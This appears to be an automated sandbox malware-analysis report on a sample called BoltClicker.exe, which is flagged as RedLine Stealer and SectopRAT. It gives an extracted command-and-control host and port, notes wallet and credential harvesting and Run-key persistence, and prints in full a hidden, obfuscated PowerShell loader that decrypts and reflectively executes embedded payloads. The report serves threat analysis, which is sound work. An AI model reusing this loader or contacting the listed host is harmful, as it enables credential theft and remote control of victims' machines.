Analysis
- max time kernel
146s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20240508-en - resource tags
- submitted
09/06/2024, 15:32
General
- Target BoltClicker.exe
- Size 2.3MB
- Sample240609-sysewacf48
- SHA256 b7d027946d3fa3571c567fa88b51e3eda675477a09f27c262cbfb4841d093c79
Malware Config
Extracted
-
redline
-
@123
-
understand-correlation.gl.at.ply.gg:16761
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 1 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\BoltClicker.exe"C:\Users\Admin\AppData\Local\Temp\BoltClicker.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c "Bolt.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pjeg0iWX/oMBjLzlwpL5Cf4geUJYeevbJfyYk1D4GH0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('H42JCyMMV/GVt5VhXlmZJQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CETMf=New-Object System.IO.MemoryStream(,$param_var); $uqMBy=New-Object System.IO.MemoryStream; $WEzGz=New-Object System.IO.Compression.GZipStream($CETMf, [IO.Compression.CompressionMode]::Decompress); $WEzGz.CopyTo($uqMBy); $WEzGz.Dispose(); $CETMf.Dispose(); $uqMBy.Dispose(); $uqMBy.ToArray();}function execute_function($param_var,$param2_var){ $oAhsA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bMctT=$oAhsA.EntryPoint; $bMctT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Bolt.bat';$xPVUC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Bolt.bat').Split([Environment]::NewLine);foreach ($JcTHi in $xPVUC) { if ($JcTHi.StartsWith(':: ')) { $Zecij=$JcTHi.Substring(3); break; }}$payloads_var=[string[]]$Zecij.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BoltClicker.exe"C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BoltClicker.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Bolt.bat
BoltClicker.exe
__PSScriptPolicyTest_dbaghszf.14j.ps1
memory/3580-19-0x0000000006440000-0x000000000645E000-memory.dmp
memory/3580-27-0x0000000005430000-0x000000000544E000-memory.dmp
memory/3580-7-0x0000000005720000-0x0000000005742000-memory.dmp
memory/3580-8-0x0000000005EA0000-0x0000000005F06000-memory.dmp
memory/3580-9-0x0000000005F10000-0x0000000005F76000-memory.dmp
memory/3580-5-0x0000000074F20000-0x00000000756D1000-memory.dmp
memory/3580-18-0x0000000006050000-0x00000000063A7000-memory.dmp
memory/3580-4-0x00000000030A0000-0x00000000030D6000-memory.dmp
memory/3580-20-0x0000000006490000-0x00000000064DC000-memory.dmp
memory/3580-43-0x0000000007F10000-0x000000000801A000-memory.dmp
memory/3580-22-0x0000000009640000-0x000000000965A000-memory.dmp
memory/3580-23-0x00000000053E0000-0x00000000053E8000-memory.dmp
memory/3580-24-0x0000000007600000-0x0000000007A0C000-memory.dmp
memory/3580-52-0x00000000096D0000-0x0000000009892000-memory.dmp
memory/3580-28-0x0000000019340000-0x0000000019958000-memory.dmp
memory/3580-29-0x0000000007B90000-0x0000000007BA2000-memory.dmp
memory/3580-32-0x0000000007DA0000-0x0000000007DDC000-memory.dmp
memory/3580-3-0x0000000074F2E000-0x0000000074F2F000-memory.dmp
memory/3580-6-0x00000000057C0000-0x0000000005DEA000-memory.dmp
memory/3580-84-0x0000000074F20000-0x00000000756D1000-memory.dmp
memory/3580-21-0x0000000009CC0000-0x000000000A33A000-memory.dmp
memory/3580-80-0x0000000074F20000-0x00000000756D1000-memory.dmp
memory/3580-79-0x0000000074F20000-0x00000000756D1000-memory.dmp
memory/3580-78-0x0000000074F2E000-0x0000000074F2F000-memory.dmp
memory/3580-55-0x0000000009A80000-0x0000000009A9E000-memory.dmp
memory/3580-54-0x00000000099E0000-0x0000000009A56000-memory.dmp
memory/3580-53-0x0000000019E90000-0x000000001A3BC000-memory.dmp
memory/5032-42-0x0000000000A00000-0x0000000000DFE000-memory.dmp
memory/5032-51-0x0000000006470000-0x000000000650C000-memory.dmp
memory/5032-50-0x00000000073F0000-0x0000000007422000-memory.dmp
memory/5032-48-0x0000000007270000-0x00000000073E6000-memory.dmp
memory/5032-49-0x0000000006F50000-0x0000000006F5E000-memory.dmp
memory/5032-47-0x0000000006FF0000-0x0000000007174000-memory.dmp
memory/5032-46-0x00000000058D0000-0x00000000058DA000-memory.dmp
memory/5032-45-0x0000000005910000-0x00000000059A2000-memory.dmp
memory/5032-44-0x0000000005EC0000-0x0000000006466000-memory.dmp
memory/5032-81-0x0000000074F20000-0x00000000756D1000-memory.dmp
memory/5032-41-0x0000000074F20000-0x00000000756D1000-memory.dmp